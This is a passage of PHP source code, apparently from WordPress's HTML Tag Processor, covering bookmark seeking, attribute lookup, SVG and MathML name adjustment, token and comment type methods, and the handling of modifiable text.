			$head_delta = 0;
			$tail_delta = 0;

			foreach ( $this->lexical_updates as $diff ) {
				$diff_end = $diff->start + $diff->length;

				if ( $bookmark->start < $diff->start && $bookmark_end < $diff->start ) {
					break;
				}

				if ( $bookmark->start >= $diff->start && $bookmark_end < $diff_end ) {
					$this->release_bookmark( $bookmark_name );
					continue 2;
				}

				$delta = strlen( $diff->text ) - $diff->length;

				if ( $bookmark->start >= $diff->start ) {
					$head_delta += $delta;
				}

				if ( $bookmark_end >= $diff_end ) {
					$tail_delta += $delta;
				}
			}

			$bookmark->start  += $head_delta;
			$bookmark->length += $tail_delta - $head_delta;
		}

		$this->lexical_updates = array();

		return $accumulated_shift_for_given_point;
	}

	/**
	 * Checks whether a bookmark with the given name exists.
	 *
	 * @since 6.3.0
	 *
	 * @param string $bookmark_name Name to identify a bookmark that potentially exists.
	 * @return bool Whether that bookmark exists.
	 */
	public function has_bookmark( $bookmark_name ): bool {
		return array_key_exists( $bookmark_name, $this->bookmarks );
	}

	/**
	 * Move the internal cursor in the Tag Processor to a given bookmark's location.
	 *
	 * In order to prevent accidental infinite loops, there's a
	 * maximum limit on the number of times seek() can be called.
	 *
	 * @since 6.2.0
	 *
	 * @param string $bookmark_name Jump to the place in the document identified by this bookmark name.
	 * @return bool Whether the internal cursor was successfully moved to the bookmark's location.
	 */
	public function seek( $bookmark_name ): bool {
		if ( ! array_key_exists( $bookmark_name, $this->bookmarks ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Unknown bookmark name.' ),
				'6.2.0'
			);
			return false;
		}

		$existing_bookmark = $this->bookmarks[ $bookmark_name ];

		if (
			$this->token_starts_at === $existing_bookmark->start &&
			$this->token_length === $existing_bookmark->length
		) {
			return true;
		}

		if ( ++$this->seek_count > static::MAX_SEEK_OPS ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Too many calls to seek() - this can lead to performance issues.' ),
				'6.2.0'
			);
			return false;
		}

		// Flush out any pending updates to the document.
		$this->get_updated_html();

		// Point this tag processor before the sought tag opener and consume it.
		$this->bytes_already_parsed = $this->bookmarks[ $bookmark_name ]->start;
		$this->parser_state         = self::STATE_READY;
		return $this->next_token();
	}

	/**
	 * Compare two WP_HTML_Text_Replacement objects.
	 *
	 * @since 6.2.0
	 *
	 * @param WP_HTML_Text_Replacement $a First attribute update.
	 * @param WP_HTML_Text_Replacement $b Second attribute update.
	 * @return int Comparison value for string order.
	 */
	private static function sort_start_ascending( WP_HTML_Text_Replacement $a, WP_HTML_Text_Replacement $b ): int {
		$by_start = $a->start - $b->start;
		if ( 0 !== $by_start ) {
			return $by_start;
		}

		$by_text = isset( $a->text, $b->text ) ? strcmp( $a->text, $b->text ) : 0;
		if ( 0 !== $by_text ) {
			return $by_text;
		}

		/*
		 * This code should be unreachable, because it implies the two replacements
		 * start at the same location and contain the same text.
		 */
		return $a->length - $b->length;
	}

	/**
	 * Return the enqueued value for a given attribute, if one exists.
	 *
	 * Enqueued updates can take different data types:
	 *  - If an update is enqueued and is boolean, the return will be `true`
	 *  - If an update is otherwise enqueued, the return will be the string value of that update.
	 *  - If an attribute is enqueued to be removed, the return will be `null` to indicate that.
	 *  - If no updates are enqueued, the return will be `false` to differentiate from "removed."
	 *
	 * @since 6.2.0
	 *
	 * @param string $comparable_name The attribute name in its comparable form.
	 * @return string|boolean|null Value of enqueued update if present, otherwise false.
	 */
	private function get_enqueued_attribute_value( string $comparable_name ) {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return false;
		}

		if ( ! isset( $this->lexical_updates[ $comparable_name ] ) ) {
			return false;
		}

		$enqueued_text = $this->lexical_updates[ $comparable_name ]->text;

		// Removed attributes erase the entire span.
		if ( '' === $enqueued_text ) {
			return null;
		}

		/*
		 * Boolean attribute updates are just the attribute name without a corresponding value.
		 *
		 * This value might differ from the given comparable name in that there could be leading
		 * or trailing whitespace, and that the casing follows the name given in `set_attribute`.
		 *
		 * Example:
		 *
		 *     $p->set_attribute( 'data-TEST-id', 'update' );
		 *     'update' === $p->get_enqueued_attribute_value( 'data-test-id' );
		 *
		 * Detect this difference based on the absence of the `=`, which _must_ exist in any
		 * attribute containing a value, e.g. `<input type="text" enabled />`.
		 *                                            ¹           ²
		 *                                       1. Attribute with a string value.
		 *                                       2. Boolean attribute whose value is `true`.
		 */
		$equals_at = strpos( $enqueued_text, '=' );
		if ( false === $equals_at ) {
			return true;
		}

		/*
		 * Finally, a normal update's value will appear after the `=` and
		 * be double-quoted, as performed incidentally by `set_attribute`.
		 *
		 * e.g. `type="text"`
		 *           ¹²    ³
		 *        1. Equals is here.
		 *        2. Double-quoting starts one after the equals sign.
		 *        3. Double-quoting ends at the last character in the update.
		 */
		$enqueued_value = substr( $enqueued_text, $equals_at + 2, -1 );
		return WP_HTML_Decoder::decode_attribute( $enqueued_value );
	}

	/**
	 * Returns the value of a requested attribute from a matched tag opener if that attribute exists.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div enabled class="test" data-test-id="14">Test</div>' );
	 *     $p->next_tag( array( 'class_name' => 'test' ) ) === true;
	 *     $p->get_attribute( 'data-test-id' ) === '14';
	 *     $p->get_attribute( 'enabled' ) === true;
	 *     $p->get_attribute( 'aria-label' ) === null;
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_attribute( 'class' ) === null;
	 *
	 * @since 6.2.0
	 *
	 * @param string $name Name of attribute whose value is requested.
	 * @return string|true|null Value of attribute or `null` if not available. Boolean attributes return `true`.
	 */
	public function get_attribute( $name ) {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return null;
		}

		$comparable = strtolower( $name );

		/*
		 * For every attribute other than `class` it's possible to perform a quick check if
		 * there's an enqueued lexical update whose value takes priority over what's found in
		 * the input document.
		 *
		 * The `class` attribute is special though because of the exposed helpers `add_class`
		 * and `remove_class`. These form a builder for the `class` attribute, so an additional
		 * check for enqueued class changes is required in addition to the check for any enqueued
		 * attribute values. If any exist, those enqueued class changes must first be flushed out
		 * into an attribute value update.
		 */
		if ( 'class' === $name ) {
			$this->class_name_updates_to_attributes_updates();
		}

		// Return any enqueued attribute value updates if they exist.
		$enqueued_value = $this->get_enqueued_attribute_value( $comparable );
		if ( false !== $enqueued_value ) {
			return $enqueued_value;
		}

		if ( ! isset( $this->attributes[ $comparable ] ) ) {
			return null;
		}

		$attribute = $this->attributes[ $comparable ];

		/*
		 * This flag distinguishes an attribute with no value
		 * from an attribute with an empty string value. For
		 * unquoted attributes this could look very similar.
		 * It refers to whether an `=` follows the name.
		 *
		 * e.g. <div boolean-attribute empty-attribute=></div>
		 *           ¹                 ²
		 *        1. Attribute `boolean-attribute` is `true`.
		 *        2. Attribute `empty-attribute` is `""`.
		 */
		if ( true === $attribute->is_true ) {
			return true;
		}

		$raw_value = substr( $this->html, $attribute->value_starts_at, $attribute->value_length );

		return WP_HTML_Decoder::decode_attribute( $raw_value );
	}

	/**
	 * Gets lowercase names of all attributes matching a given prefix in the current tag.
	 *
	 * Note that matching is case-insensitive. This is in accordance with the spec:
	 *
	 * > There must never be two or more attributes on
	 * > the same start tag whose names are an ASCII
	 * > case-insensitive match for each other.
	 *     - HTML 5 spec
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div data-ENABLED class="test" DATA-test-id="14">Test</div>' );
	 *     $p->next_tag( array( 'class_name' => 'test' ) ) === true;
	 *     $p->get_attribute_names_with_prefix( 'data-' ) === array( 'data-enabled', 'data-test-id' );
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_attribute_names_with_prefix( 'data-' ) === null;
	 *
	 * @since 6.2.0
	 *
	 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
	 *
	 * @param string $prefix Prefix of requested attribute names.
	 * @return array|null List of attribute names, or `null` when no tag opener is matched.
	 */
	public function get_attribute_names_with_prefix( $prefix ): ?array {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return null;
		}

		$comparable = strtolower( $prefix );

		$matches = array();
		foreach ( array_keys( $this->attributes ) as $attr_name ) {
			if ( str_starts_with( $attr_name, $comparable ) ) {
				$matches[] = $attr_name;
			}
		}
		return $matches;
	}

	/**
	 * Returns the namespace of the matched token.
	 *
	 * @since 6.7.0
	 *
	 * @return string One of 'html', 'math', or 'svg'.
	 */
	public function get_namespace(): string {
		return $this->parsing_namespace;
	}

	/**
	 * Returns the uppercase name of the matched tag.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div class="test">Test</div>' );
	 *     $p->next_tag() === true;
	 *     $p->get_tag() === 'DIV';
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_tag() === null;
	 *
	 * @since 6.2.0
	 *
	 * @return string|null Name of currently matched tag in input HTML, or `null` if none found.
	 */
	public function get_tag(): ?string {
		if ( null === $this->tag_name_starts_at ) {
			return null;
		}

		$tag_name = substr( $this->html, $this->tag_name_starts_at, $this->tag_name_length );

		if ( self::STATE_MATCHED_TAG === $this->parser_state ) {
			return strtoupper( $tag_name );
		}

		if (
			self::STATE_COMMENT === $this->parser_state &&
			self::COMMENT_AS_PI_NODE_LOOKALIKE === $this->get_comment_type()
		) {
			return $tag_name;
		}

		return null;
	}

	/**
	 * Returns the adjusted tag name for a given token, taking into
	 * account the current parsing context, whether HTML, SVG, or MathML.
	 *
	 * @since 6.7.0
	 *
	 * @return string|null Name of current tag name.
	 */
	public function get_qualified_tag_name(): ?string {
		$tag_name = $this->get_tag();
		if ( null === $tag_name ) {
			return null;
		}

		if ( 'html' === $this->get_namespace() ) {
			return $tag_name;
		}

		$lower_tag_name = strtolower( $tag_name );
		if ( 'math' === $this->get_namespace() ) {
			return $lower_tag_name;
		}

		if ( 'svg' === $this->get_namespace() ) {
			switch ( $lower_tag_name ) {
				case 'altglyph':
					return 'altGlyph';

				case 'altglyphdef':
					return 'altGlyphDef';

				case 'altglyphitem':
					return 'altGlyphItem';

				case 'animatecolor':
					return 'animateColor';

				case 'animatemotion':
					return 'animateMotion';

				case 'animatetransform':
					return 'animateTransform';

				case 'clippath':
					return 'clipPath';

				case 'feblend':
					return 'feBlend';

				case 'fecolormatrix':
					return 'feColorMatrix';

				case 'fecomponenttransfer':
					return 'feComponentTransfer';

				case 'fecomposite':
					return 'feComposite';

				case 'feconvolvematrix':
					return 'feConvolveMatrix';

				case 'fediffuselighting':
					return 'feDiffuseLighting';

				case 'fedisplacementmap':
					return 'feDisplacementMap';

				case 'fedistantlight':
					return 'feDistantLight';

				case 'fedropshadow':
					return 'feDropShadow';

				case 'feflood':
					return 'feFlood';

				case 'fefunca':
					return 'feFuncA';

				case 'fefuncb':
					return 'feFuncB';

				case 'fefuncg':
					return 'feFuncG';

				case 'fefuncr':
					return 'feFuncR';

				case 'fegaussianblur':
					return 'feGaussianBlur';

				case 'feimage':
					return 'feImage';

				case 'femerge':
					return 'feMerge';

				case 'femergenode':
					return 'feMergeNode';

				case 'femorphology':
					return 'feMorphology';

				case 'feoffset':
					return 'feOffset';

				case 'fepointlight':
					return 'fePointLight';

				case 'fespecularlighting':
					return 'feSpecularLighting';

				case 'fespotlight':
					return 'feSpotLight';

				case 'fetile':
					return 'feTile';

				case 'feturbulence':
					return 'feTurbulence';

				case 'foreignobject':
					return 'foreignObject';

				case 'glyphref':
					return 'glyphRef';

				case 'lineargradient':
					return 'linearGradient';

				case 'radialgradient':
					return 'radialGradient';

				case 'textpath':
					return 'textPath';

				default:
					return $lower_tag_name;
			}
		}

		// This unnecessary return prevents tools from inaccurately reporting type errors.
		return $tag_name;
	}

	/**
	 * Returns the adjusted attribute name for a given attribute, taking into
	 * account the current parsing context, whether HTML, SVG, or MathML.
	 *
	 * @since 6.7.0
	 *
	 * @param string $attribute_name Which attribute to adjust.
	 *
	 * @return string|null
	 */
	public function get_qualified_attribute_name( $attribute_name ): ?string {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return null;
		}

		$namespace  = $this->get_namespace();
		$lower_name = strtolower( $attribute_name );

		if ( 'math' === $namespace && 'definitionurl' === $lower_name ) {
			return 'definitionURL';
		}

		if ( 'svg' === $this->get_namespace() ) {
			switch ( $lower_name ) {
				case 'attributename':
					return 'attributeName';

				case 'attributetype':
					return 'attributeType';

				case 'basefrequency':
					return 'baseFrequency';

				case 'baseprofile':
					return 'baseProfile';

				case 'calcmode':
					return 'calcMode';

				case 'clippathunits':
					return 'clipPathUnits';

				case 'diffuseconstant':
					return 'diffuseConstant';

				case 'edgemode':
					return 'edgeMode';

				case 'filterunits':
					return 'filterUnits';

				case 'glyphref':
					return 'glyphRef';

				case 'gradienttransform':
					return 'gradientTransform';

				case 'gradientunits':
					return 'gradientUnits';

				case 'kernelmatrix':
					return 'kernelMatrix';

				case 'kernelunitlength':
					return 'kernelUnitLength';

				case 'keypoints':
					return 'keyPoints';

				case 'keysplines':
					return 'keySplines';

				case 'keytimes':
					return 'keyTimes';

				case 'lengthadjust':
					return 'lengthAdjust';

				case 'limitingconeangle':
					return 'limitingConeAngle';

				case 'markerheight':
					return 'markerHeight';

				case 'markerunits':
					return 'markerUnits';

				case 'markerwidth':
					return 'markerWidth';

				case 'maskcontentunits':
					return 'maskContentUnits';

				case 'maskunits':
					return 'maskUnits';

				case 'numoctaves':
					return 'numOctaves';

				case 'pathlength':
					return 'pathLength';

				case 'patterncontentunits':
					return 'patternContentUnits';

				case 'patterntransform':
					return 'patternTransform';

				case 'patternunits':
					return 'patternUnits';

				case 'pointsatx':
					return 'pointsAtX';

				case 'pointsaty':
					return 'pointsAtY';

				case 'pointsatz':
					return 'pointsAtZ';

				case 'preservealpha':
					return 'preserveAlpha';

				case 'preserveaspectratio':
					return 'preserveAspectRatio';

				case 'primitiveunits':
					return 'primitiveUnits';

				case 'refx':
					return 'refX';

				case 'refy':
					return 'refY';

				case 'repeatcount':
					return 'repeatCount';

				case 'repeatdur':
					return 'repeatDur';

				case 'requiredextensions':
					return 'requiredExtensions';

				case 'requiredfeatures':
					return 'requiredFeatures';

				case 'specularconstant':
					return 'specularConstant';

				case 'specularexponent':
					return 'specularExponent';

				case 'spreadmethod':
					return 'spreadMethod';

				case 'startoffset':
					return 'startOffset';

				case 'stddeviation':
					return 'stdDeviation';

				case 'stitchtiles':
					return 'stitchTiles';

				case 'surfacescale':
					return 'surfaceScale';

				case 'systemlanguage':
					return 'systemLanguage';

				case 'tablevalues':
					return 'tableValues';

				case 'targetx':
					return 'targetX';

				case 'targety':
					return 'targetY';

				case 'textlength':
					return 'textLength';

				case 'viewbox':
					return 'viewBox';

				case 'viewtarget':
					return 'viewTarget';

				case 'xchannelselector':
					return 'xChannelSelector';

				case 'ychannelselector':
					return 'yChannelSelector';

				case 'zoomandpan':
					return 'zoomAndPan';
			}
		}

		if ( 'html' !== $namespace ) {
			switch ( $lower_name ) {
				case 'xlink:actuate':
					return 'xlink actuate';

				case 'xlink:arcrole':
					return 'xlink arcrole';

				case 'xlink:href':
					return 'xlink href';

				case 'xlink:role':
					return 'xlink role';

				case 'xlink:show':
					return 'xlink show';

				case 'xlink:title':
					return 'xlink title';

				case 'xlink:type':
					return 'xlink type';

				case 'xml:lang':
					return 'xml lang';

				case 'xml:space':
					return 'xml space';

				case 'xmlns':
					return 'xmlns';

				case 'xmlns:xlink':
					return 'xmlns xlink';
			}
		}

		return $attribute_name;
	}

	/**
	 * Indicates if the currently matched tag contains the self-closing flag.
	 *
	 * No HTML elements ought to have the self-closing flag and for those, the self-closing
	 * flag will be ignored. For void elements this is benign because they "self close"
	 * automatically. For non-void HTML elements though problems will appear if someone
	 * intends to use a self-closing element in place of that element with an empty body.
	 * For HTML foreign elements and custom elements the self-closing flag determines if
	 * they self-close or not.
	 *
	 * This function does not determine if a tag is self-closing,
	 * but only if the self-closing flag is present in the syntax.
	 *
	 * @since 6.3.0
	 *
	 * @return bool Whether the currently matched tag contains the self-closing flag.
	 */
	public function has_self_closing_flag(): bool {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return false;
		}

		/*
		 * The self-closing flag is the solidus at the _end_ of the tag, not the beginning.
		 *
		 * Example:
		 *
		 *     <figure />
		 *             ^ this appears one character before the end of the closing ">".
		 */
		return '/' === $this->html[ $this->token_starts_at + $this->token_length - 2 ];
	}

	/**
	 * Indicates if the current tag token is a tag closer.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div></div>' );
	 *     $p->next_tag( array( 'tag_name' => 'div', 'tag_closers' => 'visit' ) );
	 *     $p->is_tag_closer() === false;
	 *
	 *     $p->next_tag( array( 'tag_name' => 'div', 'tag_closers' => 'visit' ) );
	 *     $p->is_tag_closer() === true;
	 *
	 * @since 6.2.0
	 * @since 6.7.0 Reports all BR tags as opening tags.
	 *
	 * @return bool Whether the current tag is a tag closer.
	 */
	public function is_tag_closer(): bool {
		return (
			self::STATE_MATCHED_TAG === $this->parser_state &&
			$this->is_closing_tag &&

			/*
			 * The BR tag can only exist as an opening tag. If something like `</br>`
			 * appears then the HTML parser will treat it as an opening tag with no
			 * attributes. The BR tag is unique in this way.
			 *
			 * @see https://html.spec.whatwg.org/#parsing-main-inbody
			 */
			'BR' !== $this->get_tag()
		);
	}

	/**
	 * Indicates the kind of matched token, if any.
	 *
	 * This differs from `get_token_name()` in that it always
	 * returns a static string indicating the type, whereas
	 * `get_token_name()` may return values derived from the
	 * token itself, such as a tag name or processing
	 * instruction tag.
	 *
	 * Possible values:
	 *  - `#tag` when matched on a tag.
	 *  - `#text` when matched on a text node.
	 *  - `#cdata-section` when matched on a CDATA node.
	 *  - `#comment` when matched on a comment.
	 *  - `#doctype` when matched on a DOCTYPE declaration.
	 *  - `#presumptuous-tag` when matched on an empty tag closer.
	 *  - `#funky-comment` when matched on a funky comment.
	 *
	 * @since 6.5.0
	 *
	 * @return string|null What kind of token is matched, or null.
	 */
	public function get_token_type(): ?string {
		switch ( $this->parser_state ) {
			case self::STATE_MATCHED_TAG:
				return '#tag';

			case self::STATE_DOCTYPE:
				return '#doctype';

			default:
				return $this->get_token_name();
		}
	}

	/**
	 * Returns the node name represented by the token.
	 *
	 * This matches the DOM API value `nodeName`. Some values
	 * are static, such as `#text` for a text node, while others
	 * are dynamically generated from the token itself.
	 *
	 * Dynamic names:
	 *  - Uppercase tag name for tag matches.
	 *  - `html` for DOCTYPE declarations.
	 *
	 * Note that if the Tag Processor is not matched on a token
	 * then this function will return `null`, either because it
	 * hasn't yet found a token or because it reached the end
	 * of the document without matching a token.
	 *
	 * @since 6.5.0
	 *
	 * @return string|null Name of the matched token.
	 */
	public function get_token_name(): ?string {
		switch ( $this->parser_state ) {
			case self::STATE_MATCHED_TAG:
				return $this->get_tag();

			case self::STATE_TEXT_NODE:
				return '#text';

			case self::STATE_CDATA_NODE:
				return '#cdata-section';

			case self::STATE_COMMENT:
				return '#comment';

			case self::STATE_DOCTYPE:
				return 'html';

			case self::STATE_PRESUMPTUOUS_TAG:
				return '#presumptuous-tag';

			case self::STATE_FUNKY_COMMENT:
				return '#funky-comment';
		}

		return null;
	}

	/**
	 * Indicates what kind of comment produced the comment node.
	 *
	 * Because there are different kinds of HTML syntax which produce
	 * comments, the Tag Processor tracks and exposes this as a type
	 * for the comment. Nominally only regular HTML comments exist as
	 * they are commonly known, but a number of unrelated syntax errors
	 * also produce comments.
	 *
	 * @see self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT
	 * @see self::COMMENT_AS_CDATA_LOOKALIKE
	 * @see self::COMMENT_AS_INVALID_HTML
	 * @see self::COMMENT_AS_HTML_COMMENT
	 * @see self::COMMENT_AS_PI_NODE_LOOKALIKE
	 *
	 * @since 6.5.0
	 *
	 * @return string|null
	 */
	public function get_comment_type(): ?string {
		if ( self::STATE_COMMENT !== $this->parser_state ) {
			return null;
		}

		return $this->comment_type;
	}

	/**
	 * Returns the text of a matched comment or null if not on a comment type node.
	 *
	 * This method returns the entire text content of a comment node as it
	 * would appear in the browser.
	 *
	 * This differs from {@see ::get_modifiable_text()} in that certain comment
	 * types in the HTML API cannot allow their entire comment text content to
	 * be modified. Namely, "bogus comments" of the form `<?not allowed in html>`
	 * will create a comment whose text content starts with `?`. Note that if
	 * that character were modified, it would be possible to change the node
	 * type.
	 *
	 * @since 6.7.0
	 *
	 * @return string|null The comment text as it would appear in the browser or null
	 *                     if not on a comment type node.
	 */
	public function get_full_comment_text(): ?string {
		if ( self::STATE_FUNKY_COMMENT === $this->parser_state ) {
			return $this->get_modifiable_text();
		}

		if ( self::STATE_COMMENT !== $this->parser_state ) {
			return null;
		}

		switch ( $this->get_comment_type() ) {
			case self::COMMENT_AS_HTML_COMMENT:
			case self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT:
				return $this->get_modifiable_text();

			case self::COMMENT_AS_CDATA_LOOKALIKE:
				return "[CDATA[{$this->get_modifiable_text()}]]";

			case self::COMMENT_AS_PI_NODE_LOOKALIKE:
				return "?{$this->get_tag()}{$this->get_modifiable_text()}?";

			/*
			 * This represents "bogus comments state" from HTML tokenization.
			 * This can be entered by `<?` or `<!`, where `?` is included in
			 * the comment text but `!` is not.
			 */
			case self::COMMENT_AS_INVALID_HTML:
				$preceding_character = $this->html[ $this->text_starts_at - 1 ];
				$comment_start       = '?' === $preceding_character ? '?' : '';
				return "{$comment_start}{$this->get_modifiable_text()}";
		}

		return null;
	}

	/**
	 * Subdivides a matched text node, splitting NULL byte sequences and decoded whitespace as
	 * distinct nodes prefixes.
	 *
	 * Note that once anything that's neither a NULL byte nor decoded whitespace is
	 * encountered, then the remainder of the text node is left intact as generic text.
	 *
	 *  - The HTML Processor uses this to apply distinct rules for different kinds of text.
	 *  - Inter-element whitespace can be detected and skipped with this method.
	 *
	 * Text nodes aren't eagerly subdivided because there's no need to split them unless
	 * decisions are being made on NULL byte sequences or whitespace-only text.
	 *
	 * Example:
	 *
	 *     $processor = new WP_HTML_Tag_Processor( "\x00Apples & Oranges" );
	 *     true  === $processor->next_token();                   // Text is "Apples & Oranges".
	 *     true  === $processor->subdivide_text_appropriately(); // Text is "".
	 *     true  === $processor->next_token();                   // Text is "Apples & Oranges".
	 *     false === $processor->subdivide_text_appropriately();
	 *
	 *     $processor = new WP_HTML_Tag_Processor( "&#x13; \r\n\tMore" );
	 *     true  === $processor->next_token();                   // Text is "␤ ␤␉More".
	 *     true  === $processor->subdivide_text_appropriately(); // Text is "␤ ␤␉".
	 *     true  === $processor->next_token();                   // Text is "More".
	 *     false === $processor->subdivide_text_appropriately();
	 *
	 * @since 6.7.0
	 *
	 * @return bool Whether the text node was subdivided.
	 */
	public function subdivide_text_appropriately(): bool {
		if ( self::STATE_TEXT_NODE !== $this->parser_state ) {
			return false;
		}

		$this->text_node_classification = self::TEXT_IS_GENERIC;

		/*
		 * NULL bytes are treated categorically different than numeric character
		 * references whose number is zero. `&#x00;` is not the same as `"\x00"`.
		 */
		$leading_nulls = strspn( $this->html, "\x00", $this->text_starts_at, $this->text_length );
		if ( $leading_nulls > 0 ) {
			$this->token_length             = $leading_nulls;
			$this->text_length              = $leading_nulls;
			$this->bytes_already_parsed     = $this->token_starts_at + $leading_nulls;
			$this->text_node_classification = self::TEXT_IS_NULL_SEQUENCE;
			return true;
		}

		/*
		 * Start a decoding loop to determine the point at which the
		 * text subdivides. This entails raw whitespace bytes and any
		 * character reference that decodes to the same.
		 */
		$at  = $this->text_starts_at;
		$end = $this->text_starts_at + $this->text_length;
		while ( $at < $end ) {
			$skipped = strspn( $this->html, " \t\f\r\n", $at, $end - $at );
			$at     += $skipped;

			if ( $at < $end && '&' === $this->html[ $at ] ) {
				$matched_byte_length = null;
				$replacement         = WP_HTML_Decoder::read_character_reference( 'data', $this->html, $at, $matched_byte_length );
				if ( isset( $replacement ) && 1 === strspn( $replacement, " \t\f\r\n" ) ) {
					$at += $matched_byte_length;
					continue;
				}
			}

			break;
		}

		if ( $at > $this->text_starts_at ) {
			$new_length                     = $at - $this->text_starts_at;
			$this->text_length              = $new_length;
			$this->token_length             = $new_length;
			$this->bytes_already_parsed     = $at;
			$this->text_node_classification = self::TEXT_IS_WHITESPACE;
			return true;
		}

		return false;
	}

	/**
	 * Returns the modifiable text for a matched token, or an empty string.
	 *
	 * Modifiable text is text content that may be read and changed without
	 * changing the HTML structure of the document around it. This includes
	 * the contents of `#text` nodes in the HTML as well as the inner
	 * contents of HTML comments, Processing Instructions, and others, even
	 * though these nodes aren't part of a parsed DOM tree. They also contain
	 * the contents of SCRIPT and STYLE tags, of TEXTAREA tags, and of any
	 * other section in an HTML document which cannot contain HTML markup (DATA).
	 *
	 * If a token has no modifiable text then an empty string is returned to
	 * avoid needless crashing or type errors. An empty string does not mean
	 * that a token has modifiable text, and a token with modifiable text may
	 * have an empty string (e.g. a comment with no contents).
	 *
	 * Limitations:
	 *
	 *  - This function will not strip the leading newline appropriately
	 *    after seeking into a LISTING or PRE element. To ensure that the
	 *    newline is treated properly, seek to the LISTING or PRE opening
	 *    tag instead of to the first text node inside the element.
	 *
	 * @since 6.5.0
	 * @since 6.7.0 Replaces NULL bytes (U+0000) and newlines appropriately.
	 *
	 * @return string
	 */
	public function get_modifiable_text(): string {
		$has_enqueued_update = isset( $this->lexical_updates['modifiable text'] );

		if ( ! $has_enqueued_update && ( null === $this->text_starts_at || 0 === $this->text_length ) ) {
			return '';
		}

		$text = $has_enqueued_update
			? $this->lexical_updates['modifiable text']->text
			: substr( $this->html, $this->text_starts_at, $this->text_length );

		/*
		 * Pre-processing the input stream would normally happen before
		 * any parsing is done, but deferring it means it's possible to
		 * skip in most cases. When getting the modifiable text, however
		 * it's important to apply the pre-processing steps, which is
		 * normalizing newlines.
		 *
		 * @see https://html.spec.whatwg.org/#preprocessing-the-input-stream
		 * @see https://infra.spec.whatwg.org/#normalize-newlines
		 */
		$text = str_replace( "\r\n", "\n", $text );
		$text = str_replace( "\r", "\n", $text );

		// Comment data is not decoded.
		if (
			self::STATE_CDATA_NODE === $this->parser_state ||
			self::STATE_COMMENT === $this->parser_state ||
			self::STATE_DOCTYPE === $this->parser_state ||
			self::STATE_FUNKY_COMMENT === $this->parser_state
		) {
			return str_replace( "\x00", "\u{FFFD}", $text );
		}

		$tag_name = $this->get_token_name();
		if (
			// Script data is not decoded.
			'SCRIPT' === $tag_name ||

			// RAWTEXT data is not decoded.
			'IFRAME' === $tag_name ||
			'NOEMBED' === $tag_name ||
			'NOFRAMES' === $tag_name ||
			'STYLE' === $tag_name ||
			'XMP' === $tag_name
		) {
			return str_replace( "\x00", "\u{FFFD}", $text );
		}

		$decoded = WP_HTML_Decoder::decode_text_node( $text );

		/*
		 * Skip the first line feed after LISTING, PRE, and TEXTAREA opening tags.
		 *
		 * Note that this first newline may come in the form of a character
		 * reference, such as `&#x0a;`, and so it's important to perform
		 * this transformation only after decoding the raw text content.
		 */
		if (
			( "\n" === ( $decoded[0] ?? '' ) ) &&
			( ( $this->skip_newline_at === $this->token_starts_at && '#text' === $tag_name ) || 'TEXTAREA' === $tag_name )
		) {
			$decoded = substr( $decoded, 1 );
		}

		/*
		 * Only in normative text nodes does the NULL byte (U+0000) get removed.
		 * In all other contexts it's replaced by the replacement character (U+FFFD)
		 * for security reasons (to avoid joining together strings that were safe
		 * when separated, but not when joined).
		 *
		 * @todo Inside HTML integration points and MathML integration points, the
		 *       text is processed according to the insertion mode, not according
		 *       to the foreign content rules. This should strip the NULL bytes.
		 */
		return ( '#text' === $tag_name && 'html' === $this->get_namespace() )
			? str_replace( "\x00", '', $decoded )
			: str_replace( "\x00", "\u{FFFD}", $decoded );
	}

	/**
	 * Sets the modifiable text for the matched token, if matched.
	 *
	 * Modifiable text is text content that may be read and changed without
	 * changing the HTML structure of the document around it. This includes
	 * the contents of `#text` nodes in the HTML as well as the inner
	 * contents of HTML comments, Processing Instructions, and others, even
	 * though these nodes aren't part of a parsed DOM tree. They also contain
	 * the contents of SCRIPT and STYLE tags, of TEXTAREA tags, and of any
	 * other section in an HTML document which cannot contain HTML markup (DATA).
	 *
	 * Not all modifiable text may be set by this method, and not all content
	 * may be set as modifiable text. In the case that this fails it will return
	 * `false` indicating as much. For instance, it will not allow inserting the
	 * string `</script` into a SCRIPT element, because the rules for escaping
	 * that safely are complicated. Similarly, it will not allow setting content
	 * into a comment which would prematurely terminate the comment.
	 *
	 * Example:
	 *
	 *     // Add a preface to all STYLE contents.
	 *     while ( $processor->next_tag( 'STYLE' ) ) {
	 *         $style = $processor->get_modifiable_text();
	 *         $processor->set_modifiable_text( "// Made with love on the World Wide Web\n{$style}" );
	 *     }
	 *
	 *     // Replace smiley text with Emoji smilies.
	 *     while ( $processor->next_token() ) {
	 *         if ( '#text' !== $processor->get_token_name() ) {
	 *             continue;
	 *         }
	 *
	 *         $chunk = $processor->get_modifiable_text();
	 *         if ( ! str_contains( $chunk, ':)' ) ) {
	 *             continue;
	 *         }
	 *
	 *         $processor->set_modifiable_text( str_replace( ':)', '🙂', $chunk ) );
	 *     }
	 *
	 * This function handles all necessary HTML encoding. Provide normal, unescaped string values.
	 * The HTML API will encode the strings appropriately so that the browser will interpret them
	 * as the intended value.
	 *
	 * Example:
	 *
	 *     // Renders as “Eggs & Milk” in a browser, encoded as `<p>Eggs &amp; Milk</p>`.
	 *     $processor->set_modifiable_text( 'Eggs & Milk' );
	 *
	 *     // Renders as “Eggs &amp; Milk” in a browser, encoded as `<p>Eggs &amp;amp; Milk</p>`.
	 *     $processor->set_modifiable_text( 'Eggs &amp; Milk' );
	 *
	 * @since 6.7.0
	 * @since 6.9.0 Escapes all character references instead of trying to avoid double-escaping.
	 *
	 * @param string $plaintext_content New text content to represent in the matched token.
